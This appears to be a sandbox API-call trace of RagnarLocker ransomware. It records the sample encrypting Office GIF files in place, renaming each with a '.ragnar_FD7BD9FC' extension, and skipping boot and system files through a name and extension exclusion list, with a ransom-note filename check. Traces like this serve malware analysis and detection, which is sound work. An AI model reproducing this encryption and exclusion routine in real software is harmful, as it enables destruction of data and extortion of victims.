[0099.737] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.737] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.737] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.737] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.737] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21294_.gif")) returned 0x20 [0099.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21294_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.739] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=122) returned 1 [0099.739] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x71, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.739] GetProcessHeap () returned 0x580000 [0099.739] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.739] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.740] VirtualAlloc (lpAddress=0x0, dwSize=0x7a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.740] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.740] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.740] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7a, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x7a, lpOverlapped=0x0) returned 1 [0099.740] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.740] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7a, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.740] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x7a, lpOverlapped=0x0) returned 1 [0099.740] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.740] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.741] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.741] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.741] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.741] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.741] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.741] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.741] GetProcessHeap () returned 0x580000 [0099.741] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.741] CloseHandle (hObject=0x10c) returned 1 [0099.741] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF" [0099.741] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF.ragnar_FD7BD9FC" [0099.741] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21294_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21294_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21294_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.743] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x436a3c00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x436a3c00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21295_.GIF", cAlternateFileName="")) returned 1 [0099.743] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.743] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21295_.GIF" | out: lpString1="BD21295_.GIF") returned="BD21295_.GIF" [0099.743] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF") returned=".GIF" [0099.743] lstrcmpiW (lpString1="BD21295_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.743] lstrcmpiW (lpString1="BD21295_.GIF", lpString2="autorun.inf") returned 1 [0099.743] lstrcmpiW (lpString1="BD21295_.GIF", lpString2="boot.ini") returned -1 [0099.743] lstrcmpiW (lpString1="BD21295_.GIF", lpString2="bootfont.bin") returned -1 [0099.743] lstrcmpiW (lpString1="BD21295_.GIF", lpString2="bootsect.bak") returned -1 [0099.743] lstrcmpiW (lpString1="BD21295_.GIF", lpString2="bootmgr") returned -1 [0099.743] lstrcmpiW (lpString1="BD21295_.GIF", lpString2="bootmgr.efi") returned -1 [0099.743] lstrcmpiW (lpString1="BD21295_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.743] lstrcmpiW (lpString1="BD21295_.GIF", lpString2="desktop.ini") returned -1 [0099.743] lstrcmpiW (lpString1="BD21295_.GIF", lpString2="iconcache.db") returned -1 [0099.743] lstrcmpiW (lpString1="BD21295_.GIF", lpString2="ntldr") returned -1 [0099.743] lstrcmpiW (lpString1="BD21295_.GIF", lpString2="ntuser.dat") returned -1 [0099.743] lstrcmpiW (lpString1="BD21295_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.743] lstrcmpiW (lpString1="BD21295_.GIF", lpString2="ntuser.ini") returned -1 [0099.743] lstrcmpiW (lpString1="BD21295_.GIF", lpString2="thumbs.db") returned -1 [0099.743] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.743] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.743] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.743] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.743] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.743] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.744] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21295_.gif")) returned 0x20 [0099.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21295_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.744] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=150) returned 1 [0099.744] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.744] GetProcessHeap () returned 0x580000 [0099.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.744] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.745] VirtualAlloc (lpAddress=0x0, dwSize=0x96, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.745] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.745] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.745] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x96, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x96, lpOverlapped=0x0) returned 1 [0099.745] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.745] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x96, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.746] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x96, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x96, lpOverlapped=0x0) returned 1 [0099.746] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x96, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.746] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.746] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.746] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.746] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.746] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.746] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.746] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.746] GetProcessHeap () returned 0x580000 [0099.746] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.746] CloseHandle (hObject=0x10c) returned 1 [0099.746] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF" [0099.746] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF.ragnar_FD7BD9FC" [0099.746] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21295_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21295_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21295_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.748] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45cc9600, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x45cc9600, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21296_.GIF", cAlternateFileName="")) returned 1 [0099.748] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.748] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21296_.GIF" | out: lpString1="BD21296_.GIF") returned="BD21296_.GIF" [0099.748] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF") returned=".GIF" [0099.748] lstrcmpiW (lpString1="BD21296_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.748] lstrcmpiW (lpString1="BD21296_.GIF", lpString2="autorun.inf") returned 1 [0099.748] lstrcmpiW (lpString1="BD21296_.GIF", lpString2="boot.ini") returned -1 [0099.748] lstrcmpiW (lpString1="BD21296_.GIF", lpString2="bootfont.bin") returned -1 [0099.748] lstrcmpiW (lpString1="BD21296_.GIF", lpString2="bootsect.bak") returned -1 [0099.748] lstrcmpiW (lpString1="BD21296_.GIF", lpString2="bootmgr") returned -1 [0099.748] lstrcmpiW (lpString1="BD21296_.GIF", lpString2="bootmgr.efi") returned -1 [0099.748] lstrcmpiW (lpString1="BD21296_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.748] lstrcmpiW (lpString1="BD21296_.GIF", lpString2="desktop.ini") returned -1 [0099.748] lstrcmpiW (lpString1="BD21296_.GIF", lpString2="iconcache.db") returned -1 [0099.748] lstrcmpiW (lpString1="BD21296_.GIF", lpString2="ntldr") returned -1 [0099.748] lstrcmpiW (lpString1="BD21296_.GIF", lpString2="ntuser.dat") returned -1 [0099.748] lstrcmpiW (lpString1="BD21296_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.748] lstrcmpiW (lpString1="BD21296_.GIF", lpString2="ntuser.ini") returned -1 [0099.748] lstrcmpiW (lpString1="BD21296_.GIF", lpString2="thumbs.db") returned -1 [0099.748] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.748] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.748] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.748] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.748] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.748] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.748] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21296_.gif")) returned 0x20 [0099.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21296_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.749] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=148) returned 1 [0099.749] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.749] GetProcessHeap () returned 0x580000 [0099.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.749] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.750] VirtualAlloc (lpAddress=0x0, dwSize=0x94, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.750] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.750] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.750] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x94, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x94, lpOverlapped=0x0) returned 1 [0099.750] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.750] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x94, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.750] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x94, lpOverlapped=0x0) returned 1 [0099.751] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x94, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.751] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.751] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.751] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.751] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.751] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.751] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.751] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.751] GetProcessHeap () returned 0x580000 [0099.751] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.751] CloseHandle (hObject=0x10c) returned 1 [0099.751] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF" [0099.751] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF.ragnar_FD7BD9FC" [0099.751] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21296_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21296_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21296_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.753] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x449b6900, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd0a560, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x449b6900, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21297_.GIF", cAlternateFileName="")) returned 1 [0099.753] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.753] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD21297_.GIF" | out: lpString1="BD21297_.GIF") returned="BD21297_.GIF" [0099.753] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF") returned=".GIF" [0099.753] lstrcmpiW (lpString1="BD21297_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.753] lstrcmpiW (lpString1="BD21297_.GIF", lpString2="autorun.inf") returned 1 [0099.753] lstrcmpiW (lpString1="BD21297_.GIF", lpString2="boot.ini") returned -1 [0099.753] lstrcmpiW (lpString1="BD21297_.GIF", lpString2="bootfont.bin") returned -1 [0099.753] lstrcmpiW (lpString1="BD21297_.GIF", lpString2="bootsect.bak") returned -1 [0099.753] lstrcmpiW (lpString1="BD21297_.GIF", lpString2="bootmgr") returned -1 [0099.753] lstrcmpiW (lpString1="BD21297_.GIF", lpString2="bootmgr.efi") returned -1 [0099.753] lstrcmpiW (lpString1="BD21297_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.753] lstrcmpiW (lpString1="BD21297_.GIF", lpString2="desktop.ini") returned -1 [0099.753] lstrcmpiW (lpString1="BD21297_.GIF", lpString2="iconcache.db") returned -1 [0099.753] lstrcmpiW (lpString1="BD21297_.GIF", lpString2="ntldr") returned -1 [0099.753] lstrcmpiW (lpString1="BD21297_.GIF", lpString2="ntuser.dat") returned -1 [0099.753] lstrcmpiW (lpString1="BD21297_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.753] lstrcmpiW (lpString1="BD21297_.GIF", lpString2="ntuser.ini") returned -1 [0099.753] lstrcmpiW (lpString1="BD21297_.GIF", lpString2="thumbs.db") returned -1 [0099.753] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.753] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.753] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.753] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.753] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.753] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.753] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21297_.GIF" (normalized: "c:\\program files\\microsoft 